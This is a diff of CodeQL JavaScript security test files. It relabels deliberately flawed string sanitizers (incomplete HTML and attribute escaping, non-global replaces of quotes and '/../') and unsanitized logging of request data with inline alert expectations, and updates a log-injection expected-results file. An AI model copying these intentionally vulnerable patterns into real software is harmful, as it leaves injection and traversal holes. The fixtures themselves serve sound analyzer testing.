 }
 
 function bad17(s) {
-  return s.replace("'" + "", "" + ""); // NOT OK
+  return s.replace("'" + "", "" + ""); // $ Alert[js/incomplete-sanitization]
 }
 
 function good1(s) {
   while (s.indexOf("'") > 0)
-    s = s.replace("'", ""); // OK
+    s = s.replace("'", "");
   return s;
 }
 
 function good2(s) {
   while (s.indexOf("'") > 0)
-    s = s.replace(/'/, ""); // OK
+    s = s.replace(/'/, "");
   return s;
 }
 
 function good3(s) {
-  return s.replace("@user", "id10t"); // OK
+  return s.replace("@user", "id10t");
 }
 
 function good4(s) {
-  return s.replace(/#/g, "\\d+"); // OK
+  return s.replace(/#/g, "\\d+");
 }
 
 function good5(s) {
-  return s.replace(/\\/g, "\\\\").replace(/['"]/g, "\\$&"); // OK
+  return s.replace(/\\/g, "\\\\").replace(/['"]/g, "\\$&");
 }
 
 function good6(s) {
-  return s.replace(/[\\]/g, '\\\\').replace(/[\"]/g, '\\"'); // OK
+  return s.replace(/[\\]/g, '\\\\').replace(/[\"]/g, '\\"');
 }
 
 function good7(s) {
   s = s.replace(/[\\]/g, '\\\\');
-  return s.replace(/[\"]/g, '\\"'); // OK
+  return s.replace(/[\"]/g, '\\"');
 }
 
 function good8(s) {
-  return s.replace(/\W/g, '\\$&'); // OK
+  return s.replace(/\W/g, '\\$&');
 }
 
 function good9(s) {
-  return s.replace(/[^\w\s]/g, '\\$&'); // OK
+  return s.replace(/[^\w\s]/g, '\\$&');
 }
 
 function good10(s) {
   s = JSON.stringify(s);  // NB: escapes backslashes
   s = s.slice(1, -1);
   s = s.replace(/\\"/g, '"');
-  s = s.replace(/'/g, "\\'"); // OK
+  s = s.replace(/'/g, "\\'");
   return "'" + s + "'";
 }
 
 function flowifyComments(s) {
-  return s.replace(/#/g, '💩'); // OK
+  return s.replace(/#/g, '💩');
 }
 
 function good11(s) {
   return s.replace("%d", "42");
 }
 
-function good12(s) {
-	s.replace('[', '').replace(']', ''); // OK
-	s.replace('(', '').replace(')', ''); // OK
-	s.replace('{', '').replace('}', ''); // OK
-	s.replace('<', '').replace('>', ''); // NOT OK: too common as a bad HTML sanitizer
+function goodOrBad12(s) {
+	s.replace('[', '').replace(']', '');
+	s.replace('(', '').replace(')', '');
+	s.replace('{', '').replace('}', '');
+	s.replace('<', '').replace('>', ''); // $ Alert[js/incomplete-sanitization]
 
-	s.replace('[', '\\[').replace(']', '\\]'); // NOT OK
-	s.replace('{', '\\{').replace('}', '\\}'); // NOT OK
+	s.replace('[', '\\[').replace(']', '\\]'); // $ Alert[js/incomplete-sanitization]
+	s.replace('{', '\\{').replace('}', '\\}'); // $ Alert[js/incomplete-sanitization]
 
-	s = s.replace('[', ''); // OK
-	s = s.replace(']', ''); // OK
-	s.replace(/{/, '').replace(/}/, ''); // NOT OK: should have used a string literal if a single replacement was intended
-	s.replace(']', '').replace('[', ''); // probably OK, but still flagged
+	s = s.replace('[', '');
+	s = s.replace(']', '');
+	s.replace(/{/, '').replace(/}/, ''); // $ Alert[js/incomplete-sanitization] - should have used a string literal if a single replacement was intended
+	s.replace(']', '').replace('[', ''); // $ Alert[js/incomplete-sanitization] - probably OK, but still flagged
 }
 
 function newlines(s) {
 	// motivation for whitelist
-	require("child_process").execSync("which emacs").toString().replace("\n", ""); // OK
+	require("child_process").execSync("which emacs").toString().replace("\n", "");
 
-	x.replace("\n", "").replace(x, y); // NOT OK
-	x.replace(x, y).replace("\n", ""); // NOT OK
+	x.replace("\n", "").replace(x, y); // $ Alert[js/incomplete-sanitization]
+	x.replace(x, y).replace("\n", ""); // $ Alert[js/incomplete-sanitization]
 }
 
 app.get('/some/path', function(req, res) {
@@ -190,70 +190,70 @@ app.get('/some/path', function(req, res) {
 
 (function (s) {
 	var indirect = /'/;
-	return s.replace(indirect, ""); // NOT OK
+	return s.replace(indirect, ""); // $ Alert[js/incomplete-sanitization]
 });
 
 (function (s) {
-	s.replace('"', '').replace('"', ''); // OK
-	s.replace("'", "").replace("'", ""); // OK
+	s.replace('"', '').replace('"', '');
+	s.replace("'", "").replace("'", "");
 });
 
 function bad18(p) {
-  return p.replace("/../", ""); // NOT OK
+  return p.replace("/../", ""); // $ Alert[js/incomplete-sanitization]
 }
 
 function typicalBadHtmlSanitizers(s) {
-	s().replace(/[<>]/g,''); // NOT OK
-	s().replace(/[<>&]/g, ''); // NOT OK
-	s().replace(/[<>"]/g, ''); // NOT OK
-	s().replace(/</g, '').replace(/>/g, ''); // NOT OK
-	s().replace(/</g, '').replace(/>/g, '').replace(/&/g, ''); // NOT OK
-	s().replace(/</g, '').replace(/&/g, '').replace(/>/g, ''); // NOT OK
-	s().replace(/&/g, '').replace(/>/g, '').replace(/</g, ''); // NOT OK
+	s().replace(/[<>]/g,'');
+	s().replace(/[<>&]/g, '');
+	s().replace(/[<>"]/g, '');
+	s().replace(/</g, '').replace(/>/g, '');
+	s().replace(/</g, '').replace(/>/g, '').replace(/&/g, '');
+	s().replace(/</g, '').replace(/&/g, '').replace(/>/g, '');
+	s().replace(/&/g, '').replace(/>/g, '').replace(/</g, '');
 
 	var s = s().replace(/</g, '');
-	s = s.replace(/>/g, '');  // NOT OK
-	s().replace(/</g, '&lt;').replace(/>/g, '&gt').replace(/&/g, '&amp;').replace(/"/g, '&#34;'); // OK
+	s = s.replace(/>/g, '');
+	s().replace(/</g, '&lt;').replace(/>/g, '&gt').replace(/&/g, '&amp;').replace(/"/g, '&#34;');
 	s().replace(/</g, '&lt;').replace(/>/g, '&gt').replace(/&/g, '&amp;').replace(/'/g, '&#39;'); // OK - single quotes or double quotes both work
 
-	s().replace(/</g, '&lt;').replace(/>/g, '&gt').replace(RE, function(match) {/* ... */ }); // OK (probably)
+	s().replace(/</g, '&lt;').replace(/>/g, '&gt').replace(RE, function(match) {/* ... */ }); // OK - probably
 
-	s().replace(/[<>'"&]/g,''); // OK
+	s().replace(/[<>'"&]/g,'');
 
-	s().replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/&(?![\w\#]+;)/g, '&amp;'); // OK
+	s().replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/&(?![\w\#]+;)/g, '&amp;');
 
-	s().replace(!encode ? /&(?!#?\w+;)/g : /&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&apos;'); // OK (and not recognized due to the ternary)
+	s().replace(!encode ? /&(?!#?\w+;)/g : /&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&apos;'); // OK - and not recognized due to the ternary
 
-	s().replace(/[\\/:\*\?"<>\|]/g, ''); // OK
+	s().replace(/[\\/:\*\?"<>\|]/g, '');
 
-	s().replace(/[<>]/g,'_'); // OK (but probably unsafe)
+	s().replace(/[<>]/g,'_'); // OK - but probably unsafe
 
-	s().replace(/&/g, "&gt;"); // OK
+	s().replace(/&/g, "&gt;");
 
-	s().replace(/[\#\%4\/\-\~\>8\_\@0\!\&3\[651d\=e7fA2D\(aFBb]/g, ""); // OK
+	s().replace(/[\#\%4\/\-\~\>8\_\@0\!\&3\[651d\=e7fA2D\(aFBb]/g, "");
 
-	s().replace(/[<>]/g,'').replace(/[^a-z]/g, ''); // OK
+	s().replace(/[<>]/g,'').replace(/[^a-z]/g, '');
 
-	s().replace(/[<>]/g,'').replace(/[^abc]/g, ''); // OK
+	s().replace(/[<>]/g,'').replace(/[^abc]/g, '');
 
-	s().replace(/[<>]/g,'').replace(/[ -~]/g, ''); // OK
+	s().replace(/[<>]/g,'').replace(/[ -~]/g, '');
 }
 
 function incompleteHtmlAttributeSanitization() {
-	'="' + s().replace(/[<>]/g,'') + '"'; // NOT OK
-	'="' + s().replace(/[<>&]/g, '') + '"'; // NOT OK
-	'="' + s().replace(/[<>"]/g, '') + '"'; // OK (maybe, since the attribute name is unknown)
-	'="' + s().replace(/[<>&"]/g,'') + '"'; // OK
-	'="' + s().replace(/[&"]/g,'') + '"'; // OK
+	'="' + s().replace(/[<>]/g,'') + '"'; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'="' + s().replace(/[<>&]/g, '') + '"'; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'="' + s().replace(/[<>"]/g, '') + '"'; // OK - maybe, since the attribute name is unknown
+	'="' + s().replace(/[<>&"]/g,'') + '"';
+	'="' + s().replace(/[&"]/g,'') + '"';
 
-	'="' + s().replace(/[<>&']/g,'') + '"'; // NOT OK
-	"='" + s().replace(/[<>&"]/g,'') + "'"; // NOT OK
-	"='" + s().replace(/[<>&']/g,'') + "'"; // OK
+	'="' + s().replace(/[<>&']/g,'') + '"'; // $ Alert[js/incomplete-html-attribute-sanitization]
+	"='" + s().replace(/[<>&"]/g,'') + "'"; // $ Alert[js/incomplete-html-attribute-sanitization]
+	"='" + s().replace(/[<>&']/g,'') + "'";
 
-	'onFunkyEvent="' + s().replace(/[<>"]/g, '') + '"'; // NOT OK
-	'<div noise onFunkyEvent="' + s().replace(/[<>"]/g, '') + '"'; // NOT OK
-	'<div noise monday="' + s().replace(/[<>"]/g, '') + '"'; // OK
-	'monday="' + s().replace(/[<>"]/g, '') + '"'; // OK
+	'onFunkyEvent="' + s().replace(/[<>"]/g, '') + '"'; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'<div noise onFunkyEvent="' + s().replace(/[<>"]/g, '') + '"'; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'<div noise monday="' + s().replace(/[<>"]/g, '') + '"';
+	'monday="' + s().replace(/[<>"]/g, '') + '"';
 }
 
 function multiStepSanitization() {
@@ -261,52 +261,52 @@ function multiStepSanitization() {
 		return value.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
 	}
 	function attr_str(a) {
-		return ' ' + a.name + '="' + escapeHTML(a.value).replace(/"/g, '&quot;') + '"'; // OK
+		return ' ' + a.name + '="' + escapeHTML(a.value).replace(/"/g, '&quot;') + '"';
 	}
 	result += '<' + tag(node) + [].map.call(x, attr_str).join('') + '>';
 }
 
 function moreIncompleteHtmlAttributeSanitization() {
-	'<a' + noise + 'onclick="javascript:document.foo.bar(\'' + s().replace(/[<>"]/g, '') + '\'); return false;">'; // NOT OK
-	'="' + s().replace(/[<>]/g,'').replace(/[^\w ]+/g, '') + '"'; // OK
-	'="' + encodeURIComponent(s().replace(/[<>]/g,'')) + '"'; // OK
+	'<a' + noise + 'onclick="javascript:document.foo.bar(\'' + s().replace(/[<>"]/g, '') + '\'); return false;">'; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'="' + s().replace(/[<>]/g,'').replace(/[^\w ]+/g, '') + '"';
+	'="' + encodeURIComponent(s().replace(/[<>]/g,'')) + '"';
 
-	var arr = s().val().trim().replace(/^,|,$/g , '').replace(/^;|;$/g , '').replace(/<|>/g , '');
-	'="' + arr.join(" ") + '"'; // NOT OK
+	var arr = s().val().trim().replace(/^,|,$/g , '').replace(/^;|;$/g , '').replace(/<|>/g , ''); // $ Source[js/incomplete-html-attribute-sanitization]
+	'="' + arr.join(" ") + '"'; // $ Alert[js/incomplete-html-attribute-sanitization]
 	var arr2 = s().val().trim().replace(/^,|,$/g , '').replace(/^;|;$/g , '').replace(/<|>/g , '')
 	arr2 = arr2.replace(/"/g,"");
-	'="' + arr2.join(" ") + '"'; // OK
+	'="' + arr2.join(" ") + '"';
 
 	var x;
 	x = x.replace(/&/g, '&amp;');
 	x = x.replace(/</g, '&lt;').replace(/>/g, '&gt;');
-	'onclick="' + x + '"'; // NOT OK - but not flagged since the `x` replace chain is extended below
+	'onclick="' + x + '"'; // $ MISSING: Alert - since the `x` replace chain is extended below
 	x = x.replace(/"/g, '&quot;');
-	'onclick="' + x + '"'; // OK
+	'onclick="' + x + '"';
 
 	var y;
 	if (escapeAmpersand) {
 		y = y.replace(/&/g, '&amp;');
 	}
 	y = y.replace(/</g, '&lt;').replace(/>/g, '&gt;');
-	'onclick="' + y + '"'; // NOT OK - but not flagged since the `x` replace chain is extended below
+	'onclick="' + y + '"'; // $ MISSING: Alert - since the `x` replace chain is extended below
 	if (escapeQuotes) {
 		y = y.replace(/"/g, '&quot;');
 	}
-	'onclick="' + y + '"'; // OK
+	'onclick="' + y + '"';
 }
 
 function incompleteHtmlAttributeSanitization2() {
-	'=\'' + s().replace(/[&<>]/g,'') + '\''; // NOT OK
-	'=\'' + s().replace(/[<>]/g,'') + '\''; // NOT OK
-	'=\'' + s().replace(/[&<>"]/g,'') + '\''; // NOT OK
-	'=\'' + s().replace(/[<>&]/g, '') + '\''; // NOT OK
-	'="' + s().replace(/[<>&"]/g,'') + '"'; // OK
-	'=\'' + s().replace(/[<>&']/g,'') + '\''; // OK
+	'=\'' + s().replace(/[&<>]/g,'') + '\''; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'=\'' + s().replace(/[<>]/g,'') + '\''; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'=\'' + s().replace(/[&<>"]/g,'') + '\''; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'=\'' + s().replace(/[<>&]/g, '') + '\''; // $ Alert[js/incomplete-html-attribute-sanitization]
+	'="' + s().replace(/[<>&"]/g,'') + '"';
+	'=\'' + s().replace(/[<>&']/g,'') + '\'';
 }
 
 function incompleteComplexSanitizers() {
-	'=\'' + s().replace(/[&<>"]/gm, function (str) { // NOT OK
+	'=\'' + s().replace(/[&<>"]/gm, function (str) {
 		if (str === "&")
 			return "&amp;";
 		if (str === "<")
@@ -315,9 +315,9 @@ function incompleteComplexSanitizers() {
 			return "&gt;";
 		if (str === "\"")
 			return "&quot;";
-	}) + '\'';
+	}) + '\''; // $ Alert[js/incomplete-html-attribute-sanitization]
 
-	'="' + s().replace(/[&<>"]/gm, function (str) { // OK
+	'="' + s().replace(/[&<>"]/gm, function (str) {
 		if (str === "&")
 			return "&amp;";
 		if (str === "<")
@@ -330,38 +330,38 @@ function incompleteComplexSanitizers() {
 }
 
 function typicalBadHtmlSanitizers(s) {
-	s().replace(new RegExp("[<>]", "g"),''); // NOT OK
+	s().replace(new RegExp("[<>]", "g"),'');
 }
 
 function typicalBadHtmlSanitizers(s) {
-	s().replace(new RegExp("[<>]", unknown()),''); // NOT OK
+	s().replace(new RegExp("[<>]", unknown()),'');
 }
 
 function bad18NewRegExp(p) {
-	return p.replace(new RegExp("\\.\\./"), ""); // NOT OK
+	return p.replace(new RegExp("\\.\\./"), ""); // $ Alert[js/incomplete-sanitization] Alert[js/incomplete-multi-character-sanitization] -- both lacking global flag, and multi-char replacement problem
 }
 
 function bad4NewRegExpG(s) {
-	return s.replace(new RegExp("\'","g"), "\\$&"); // NOT OK
+	return s.replace(new RegExp("\'","g"), "\\$&"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad4NewRegExp(s) {
-	return s.replace(new RegExp("\'"), "\\$&"); // NOT OK
+	return s.replace(new RegExp("\'"), "\\$&"); // $ Alert[js/incomplete-sanitization]
 }
 
 function bad4NewRegExpUnknown(s) {
-	return s.replace(new RegExp("\'", unknownFlags()), "\\$&"); // NOT OK
+	return s.replace(new RegExp("\'", unknownFlags()), "\\$&"); // $ Alert[js/incomplete-sanitization]
 }
 
 function newlinesNewReGexp(s) {
-	require("child_process").execSync("which emacs").toString().replace(new RegExp("\n"), ""); // OK
+	require("child_process").execSync("which emacs").toString().replace(new RegExp("\n"), "");
 
-	x.replace(new RegExp("\n", "g"), "").replace(x, y); // OK
-	x.replace(x, y).replace(new RegExp("\n", "g"), ""); // OK
+	x.replace(new RegExp("\n", "g"), "").replace(x, y);
+	x.replace(x, y).replace(new RegExp("\n", "g"), "");
 
-	x.replace(new RegExp("\n"), "").replace(x, y); // NOT OK
-	x.replace(x, y).replace(new RegExp("\n"), ""); // NOT OK
+	x.replace(new RegExp("\n"), "").replace(x, y); // $ Alert[js/incomplete-sanitization]
+	x.replace(x, y).replace(new RegExp("\n"), ""); // $ Alert[js/incomplete-sanitization]
 
-	x.replace(new RegExp("\n", unknownFlags()), "").replace(x, y); // OK
-	x.replace(x, y).replace(new RegExp("\n", unknownFlags()), ""); // OK
+	x.replace(new RegExp("\n", unknownFlags()), "").replace(x, y);
+	x.replace(x, y).replace(new RegExp("\n", unknownFlags()), "");
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.expected b/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.expected
index 786bbb5c0b99..42417a6ac8de 100644
--- a/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.expected
@@ -1,3 +1,27 @@
+#select
+| logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
+| logInjectionBad.js:23:37:23:44 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:23:37:23:44 | username | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
+| logInjectionBad.js:24:35:24:42 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:24:35:24:42 | username | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
+| logInjectionBad.js:25:36:25:43 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:25:36:25:43 | username | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
+| logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
+| logInjectionBad.js:49:18:49:54 | ansiCol ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:49:18:49:54 | ansiCol ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:50:18:50:47 | colors. ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:50:18:50:47 | colors. ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:51:18:51:61 | wrapAns ... e), 20) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:51:18:51:61 | wrapAns ... e), 20) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:52:17:52:47 | underli ... name))) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:52:17:52:47 | underli ... name))) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:53:17:53:76 | highlig ...  true}) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:53:17:53:76 | highlig ...  true}) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:54:17:54:51 | clc.red ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:54:17:54:51 | clc.red ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:55:17:55:65 | sliceAn ... 20, 30) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:55:17:55:65 | sliceAn ... 20, 30) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:56:17:56:55 | kleur.b ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:56:17:56:55 | kleur.b ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:57:17:57:48 | chalk.u ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:57:17:57:48 | chalk.u ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:58:17:58:59 | stripAn ... rname)) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:58:17:58:59 | stripAn ... rname)) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
+| logInjectionBad.js:66:17:66:43 | prettyj ... ername) | logInjectionBad.js:63:23:63:29 | req.url | logInjectionBad.js:66:17:66:43 | prettyj ... ername) | Log entry depends on a $@. | logInjectionBad.js:63:23:63:29 | req.url | user-provided value |
+| logInjectionBad.js:75:15:75:22 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:75:15:75:22 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
+| logInjectionBad.js:82:30:82:37 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:82:30:82:37 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
+| logInjectionBad.js:91:26:91:33 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:91:26:91:33 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
+| logInjectionBad.js:99:26:99:33 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:99:26:99:33 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
+| logInjectionBad.js:113:37:113:44 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:113:37:113:44 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
+| logInjectionBad.js:124:17:124:24 | otherStr | logInjectionBad.js:122:30:122:36 | req.url | logInjectionBad.js:124:17:124:24 | otherStr | Log entry depends on a $@. | logInjectionBad.js:122:30:122:36 | req.url | user-provided value |
+| logInjectionBad.js:129:42:129:50 | RegExp.$1 | logInjectionBad.js:128:30:128:36 | req.url | logInjectionBad.js:129:42:129:50 | RegExp.$1 | Log entry depends on a $@. | logInjectionBad.js:128:30:128:36 | req.url | user-provided value |
 edges
 | logInjectionBad.js:7:25:7:32 | username | logInjectionBad.js:8:38:8:45 | username | provenance |  |
 | logInjectionBad.js:19:9:19:36 | q | logInjectionBad.js:20:20:20:20 | q | provenance |  |
@@ -154,27 +178,3 @@ nodes
 | logInjectionBad.js:129:42:129:50 | RegExp.$1 | semmle.label | RegExp.$1 |
 subpaths
 | logInjectionBad.js:28:24:28:31 | username | logInjectionBad.js:7:25:7:32 | username | logInjectionBad.js:8:38:8:45 | username | logInjectionBad.js:28:9:28:32 | exceptional return of check_u ... ername) |
-#select
-| logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
-| logInjectionBad.js:23:37:23:44 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:23:37:23:44 | username | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
-| logInjectionBad.js:24:35:24:42 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:24:35:24:42 | username | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
-| logInjectionBad.js:25:36:25:43 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:25:36:25:43 | username | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
-| logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | Log entry depends on a $@. | logInjectionBad.js:19:23:19:29 | req.url | user-provided value |
-| logInjectionBad.js:49:18:49:54 | ansiCol ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:49:18:49:54 | ansiCol ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:50:18:50:47 | colors. ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:50:18:50:47 | colors. ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:51:18:51:61 | wrapAns ... e), 20) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:51:18:51:61 | wrapAns ... e), 20) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:52:17:52:47 | underli ... name))) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:52:17:52:47 | underli ... name))) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:53:17:53:76 | highlig ...  true}) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:53:17:53:76 | highlig ...  true}) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:54:17:54:51 | clc.red ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:54:17:54:51 | clc.red ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:55:17:55:65 | sliceAn ... 20, 30) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:55:17:55:65 | sliceAn ... 20, 30) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:56:17:56:55 | kleur.b ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:56:17:56:55 | kleur.b ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:57:17:57:48 | chalk.u ... ername) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:57:17:57:48 | chalk.u ... ername) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:58:17:58:59 | stripAn ... rname)) | logInjectionBad.js:46:23:46:29 | req.url | logInjectionBad.js:58:17:58:59 | stripAn ... rname)) | Log entry depends on a $@. | logInjectionBad.js:46:23:46:29 | req.url | user-provided value |
-| logInjectionBad.js:66:17:66:43 | prettyj ... ername) | logInjectionBad.js:63:23:63:29 | req.url | logInjectionBad.js:66:17:66:43 | prettyj ... ername) | Log entry depends on a $@. | logInjectionBad.js:63:23:63:29 | req.url | user-provided value |
-| logInjectionBad.js:75:15:75:22 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:75:15:75:22 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
-| logInjectionBad.js:82:30:82:37 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:82:30:82:37 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
-| logInjectionBad.js:91:26:91:33 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:91:26:91:33 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
-| logInjectionBad.js:99:26:99:33 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:99:26:99:33 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
-| logInjectionBad.js:113:37:113:44 | username | logInjectionBad.js:72:23:72:29 | req.url | logInjectionBad.js:113:37:113:44 | username | Log entry depends on a $@. | logInjectionBad.js:72:23:72:29 | req.url | user-provided value |
-| logInjectionBad.js:124:17:124:24 | otherStr | logInjectionBad.js:122:30:122:36 | req.url | logInjectionBad.js:124:17:124:24 | otherStr | Log entry depends on a $@. | logInjectionBad.js:122:30:122:36 | req.url | user-provided value |
-| logInjectionBad.js:129:42:129:50 | RegExp.$1 | logInjectionBad.js:128:30:128:36 | req.url | logInjectionBad.js:129:42:129:50 | RegExp.$1 | Log entry depends on a $@. | logInjectionBad.js:128:30:128:36 | req.url | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.qlref
index 1837c628c33e..fc8a61c453d2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-117/LogInjection.ql
+query: Security/CWE-117/LogInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-117/logInjectionBad.js b/javascript/ql/test/query-tests/Security/CWE-117/logInjectionBad.js
index 028412c346b0..b583453d2d14 100644
--- a/javascript/ql/test/query-tests/Security/CWE-117/logInjectionBad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-117/logInjectionBad.js
@@ -16,18 +16,18 @@ const my_logger = {
 const another_logger = console.log
 
 const server = http.createServer((req, res) => {
-    let q = url.parse(req.url, true);
+    let q = url.parse(req.url, true); // $ Source
     let username = q.query.username;
 
-    console.info(`[INFO] User: ${username}`); // NOT OK
-    console.info(`[INFO] User: %s`, username); // NOT OK
-    my_logger.log('[INFO] User:', username); // NOT OK
-    another_logger('[INFO] User:', username); // NOT OK
+    console.info(`[INFO] User: ${username}`); // $ Alert
+    console.info(`[INFO] User: %s`, username); // $ Alert
+    my_logger.log('[INFO] User:', username); // $ Alert
+    another_logger('[INFO] User:', username); // $ Alert
 
     try {
         check_username(username)
     } catch (error) {
